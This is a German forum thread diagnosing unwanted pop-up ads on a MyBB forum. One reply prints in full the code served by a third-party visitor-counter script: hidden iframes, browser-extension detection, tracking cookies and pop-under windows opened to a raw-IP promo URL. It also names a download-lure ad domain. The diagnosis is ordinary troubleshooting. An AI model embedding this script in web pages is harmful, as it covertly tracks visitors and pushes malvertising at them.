MyBB Forum blended Werbung ein

[WeisheitsTroll]

Problem dabei ist halt, es muss an deinem System liegen - die frage ist wie gut hat sich das tool versteckt...

 

[rubber-duck]

ja gute frage. bei Chrome kommt es nicht mehr

bei Mozilla jetzt auch nicht mehr

 

[Christoph1989]

Malwarebytes - hat nix gefunden
AdwCleaner - hat nix gefunden
BitDefende - hat nix gefunden

Und nochmal.. bitte mit Hitman: http://www.surfright.nl/en/hitmanpro/intronew

 

[rubber-duck]

ich lade mir nicht 1000 programme runter. Es kommt nur wenn ich auf meiner Hompage auf Forum klicke sonst kommt es nirgendwo

 

[Nai]

Zumindest auf der Hauptseite habe ich auch Werbung bekommen; ein Popup mit:
fugdownload126.com/lp/1101/328/free/download
Ich hoffe mal das niemand bei der Werbung auf installieren klickt. . . .

Ergänzung (23. Oktober 2015)

Es ist (wahrscheinlich) dein Besucherzähler in:
<script type="text/javascript" src="http://counter8.freecounterstat.ovh/private/countertab.js?c=00613d12acef617cdf1f0617ec8d5236"></script>
Mit folgendem Code:

function frameMe(u)
{
 iframe = document.createElement('iframe');
 iframe.style.display = "none";
 iframe.src = u;
 document.body.appendChild(iframe);
}

if(navigator.userAgent.toLowerCase().indexOf('chrome') > -1 || navigator.userAgent.toLowerCase().indexOf('crios') > -1 )
{
 if(navigator.userAgent.toLowerCase().match(/android|webos|iphone|ipad|ipod|blackberry/i))
 {
  frameMe("http://counter8.freecounterstat.ovh:8080/private/chrome_M.gif?u=1445624384");
 }
 else
 {
 detectChromeExtension('gighmmpiobklfepjocnamgkkbiglidom', 'img/icon24.png', myCallbackFunction1);
 }
}

if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1)
{
 if(navigator.userAgent.toLowerCase().match(/android|webos|iphone|ipad|ipod|blackberry/i))
 {
  frameMe('http://counter8.freecounterstat.ovh:8080/private/firefox_M.gif?u=1445624384');
 }
 else{ detectFF();}
}


with(document) write(html_div);
;
freecounterstat_test_cookie_value = GetCookie('acceptcookie');
if(freecounterstat_test_cookie_value == null && freecounterstat_test_cookie_value != "okg"){
EcrireCookieGeo('acceptcookie','ok',86400);
}

var uri84='http://37.187.248.215/promo.php?compte=00613d12acef617cdf1f0617ec8d5236&path=006126&lg=de&pays=DE&lg_nav='+langue+'&platform=windows&browser=firefox&version=41&idealsite=FCS';
//var uri84='http://5.39.67.191/promo.php?compte=00613d12acef617cdf1f0617ec8d5236&path=006126&lg=de&pays=DE&lg_nav='+langue+'&platform=windows&browser=firefox&version=41&idealsite=FCS';
//var uri84='http://94.23.210.144/promo/promo.php?compte=00613d12acef617cdf1f0617ec8d5236&path=006126&lg=de&pays=DE&lg_nav='+langue+'&platform=windows&browser=firefox&version=41';


function geoclick(){
freecounterstat_test_cookie_value = GetCookie('acceptcookie');
if(freecounterstat_test_cookie_value == "ok" && freecounterstat_test_cookie_value != "ok." && freecounterstat_test_cookie_value != "okg" && freecounterstat_test_cookie_value != "okz"){
        freecounterstat_test_cookie="006126;00613d12acef617cdf1f0617ec8d5236;de;";
        lawidth=screen.width;
        laheight=screen.height;
if(navigator.userAgent.indexOf('Firefox') == -1){
wini=window.open(uri84,'_blank', 'toolbar=1,location=0,directories=1,status=0,menubar=0,scrollbars=1,resizable=1,fullscreen=0,width='+lawidth+',height='+laheight+',top=0,left=100','_blank');
if(wini)wini.blur();
window.focus();
self.focus();



}
else{
bSimple=false;
 randn='pu_' + Math.floor(89999999*Math.random()+10000000);

 var _parent = self,sToolbar,sOptions,popunder84;
 sToolbar='no';
//sToolbar = (navigator.userAgent.indexOf('webkit')==-1 && (navigator.userAgent.indexOf('mozilla')==-1 || parseInt(navigator.appversion, 10) < 12)) ? 'yes' : 'no';
 if (top != self) {
  try {
   if (top.document.location.toString()) {
    _parent = top;
   }
  }
  catch(err) { }
 }
 sOptions = 'toolbar=' + sToolbar + ',scrollbars=yes,location=yes,statusbar=yes,menubar=no,resizable=1,width=' + (screen.availWidth - 10).toString();
 sOptions += ',height=' + (screen.availHeight - 122).toString() + ',screenX=0,screenY=0,left=0,top=0';
 popunder84 = _parent.window.open(uri84, randn, sOptions);
 if (popunder84) {
    popunder84.blur();
    //setTimeout('popunder84.blur',0);
    if (bSimple) {
    window.focus();
    try { opener.window.focus(); }
    catch (err) { }
    }
    else {
    popunder84.init = function(e) {
    with (e) {
     (function() {
     if (typeof window.mozPaintCount != 'undefined') {
     var x = window.open('about:blank');
     x.close();
     }
     try { opener.window.focus(); }
     catch (err) { }
     })();
     }
     };
     popunder84.params = {
       url: uri84
     };
     popunder84.init(popunder84);
     }
  }
}
EcrireCookieGeo('acceptcookie','ok.',86400);
 }
}

P.S. mach diese scheiß Rechtsklick sperre weg. Die nervt nur und hält nur die letzten Deppen vom strg c und strg v ab.

P.P.S. Javascript ist mit Abstand die schlimmste Programmiersprache die ich kenne :-\

P.P.P.S Eventuell kann mich ja jemand bilden: Ich sehe gerade nicht, dass dieses Skript irgendwo aufgerufen werden würde.

 

[rubber-duck]

Also es tauchte auf als ich das erste mal auf diesen besucherzähker geklickt habe